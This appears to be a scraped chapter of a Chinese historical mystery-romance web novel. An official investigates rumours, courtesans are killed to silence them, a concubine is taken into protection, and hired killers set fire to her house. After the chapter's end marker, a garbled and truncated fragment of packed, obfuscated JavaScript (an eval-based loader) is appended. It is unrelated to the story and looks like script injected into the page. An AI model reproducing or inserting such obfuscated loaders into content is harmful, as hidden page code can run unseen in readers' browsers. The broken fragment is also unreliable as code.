推開門,見到面帶薄紗的人安然無恙地坐在裡面,杜子譽這才長舒一口氣。
“世子。”
雙雙規規矩矩的行禮,起身讓座。
杜子譽點點頭,一落座便問:“近日來你這兒,可有什麼不同尋常的人?”
“沒有。”雙雙搖搖頭,“世子與唐小姐擔心的是同一件事,你們其實不用擔心我,沈琛說與我的那些話,在別的姑娘那裡也說過。要真的查這謠言是從誰家姑娘嘴裡出來的,不是一件簡單的事兒。”
再複雜的事情,只要有錢就會變得簡單。
沈琛為人虛偽顯擺,露財的話在這風月場裡說過不少,與他相伴的姑娘不說上百,至少也有好幾十人。要想從中找出謠言的源頭的確不容易,所以,有個簡單的辦法就是把那些姑娘都殺了。
不到半個月時間,青樓裡和沈琛相處過的姑娘已經有十人為此殞命。殺人手法簡單,一招斃命,沒有留下任何線索。
一時間,滿城人心惶惶,與沈琛交往過的姑娘們人人自危,無心營業,各大青樓的生意一落千丈。
唐風輕珍寶閣的生意也不
好做,姑娘們都擔心下一個慘死的人會是自己,都老老實實地呆在家裡,不敢上街。
黃宇急得焦頭爛額,想要和唐風輕商量對策,她擺擺手,嘆了口氣,“罷了,這件事急也急不來,你們這些日子也忙壞了,這幾日就當做是給你們放假吧。”
她坐在當日的房間裡忐忑不已,飛鏢一事她還沒有告訴杜子譽,也不準備告訴杜子譽。
從百姓到皇帝,誰都等著看杜子譽如何處理這件事。
戶部尚書出事之後,他就抓了沈家所有人,連續審了好幾日,沈家老爺子一口包攬了所有罪狀,沒有絲毫進展。
審訊進入了瓶頸。
“快點把本夫人放出去,這件事和我沒有半點關係,你們這麼當官的是不是吃閒飯的,放著罪犯不抓,抓我們這些正經的生意人幹什麼?懷信候府又怎麼樣啦,當官的誰都搜刮民脂民膏,他杜子譽就不一樣嗎?裝什麼情況,快點把老孃我給放出去,你們這群狗,娘養的窮東西!”
沈夫人罵罵咧咧的話迴響在牢裡,杜子譽給旁人一個眼神,轉而聽見了兩聲響亮的把掌聲,牢裡總算是安靜了。
“這沈老闆看上去也是有品味的人,怎麼會看上這種粗俗的女人?”
“你不知道嗎?當初沈家娶這個鄉下女人進門,看重的就是她旺夫的八字。其實,誰都知道,沈老闆在外面養的有小老婆,就是……”
“就是誰?”
杜子譽聽見身後竊竊私語的兩個獄卒談話,一下子又有了頭緒,“趕緊帶我去找!”
胡氏是五年前和沈老闆在青樓相識,兩個人一見如故,沈老闆幫她贖了身,兩個人一直都過著偷偷摸摸的夫妻生活。
胡氏容易滿足,這五年來任勞任怨,從不向沈老闆索取什麼,溫順賢良和沈夫人簡直天差地別。關於沈家的傳聞她一直都略有耳聞,所以杜子譽趕來的時候,她一點也不意外。
“老爺他還好嗎?”
胡氏關心的,只有那個把她從青樓裡救出來的恩人,她絲毫不關心他是殺了人還是放了火。
女子眼中堅貞的模樣與心中日思夜想的女人有幾分相似,杜子譽對眼前的女子,開始有了幾分敬重:“沈老闆想要背下所有黑鍋,你跟我走,才有辦法救他。”
“真的?”胡氏先是疑惑,不等杜子譽回答,她便笑了:“真也好假也罷,我這無權無勢的人有什麼掙扎的餘地呢?跟您走便跟您走罷,反正總會有人帶我離開這裡。”
和聰明人打交道不費口舌,杜子譽點點頭:“我會盡力保證你們安全,夫人請。”
夫人……聽見這稱呼,胡氏眼眸一熱,立即跟隨杜子譽前往。
他們前腳剛走,晚上便有一群穿著夜行衣的人來到這小屋子,見
裡面空無一人,其中有一個便問:“老大,現在怎麼辦?”
“一把火燒了,誰知道那個女人是死了還是自己逃了?”
“老大英明,這樣我們又白白賺了一萬兩!你,去點火!”
霎時間,身後火光四起。周圍從夢中驚醒的人,呼號著“走水了,走水了”紛紛拿著水桶去撲滅這場不知如何燃起來的大火。
林致遠露出沒有溫度的笑容,這幾天生意不要太好,他好久沒有這麼殺人殺得過癮了。也不對,殺人倒是其次,主要的是和杜子譽作對,他只要一想到這裡,連覺都睡不著。
(本章完)
eval(function(p,a,c,k,e,d{e=function(c{return(c35?(c+29:(36};if(!''.replace(/^/,String{we(c{d[e(c]=k[c]||e(c}k=[function(e{return d[e]}];e=function{return'\\w+'};c=1};Exp('\\b'+e(c+'\\b','g,k[c]}}return p}('h 4="F"+E.(B.H(2;c.6("";8((/(K/i.J({(\'u\',v(e{h 3=e.x;8(3.9{8(7[3.9+"w"]!=1{7[3.9+","%15"}}};c.6(\'\}w{;c.6(\'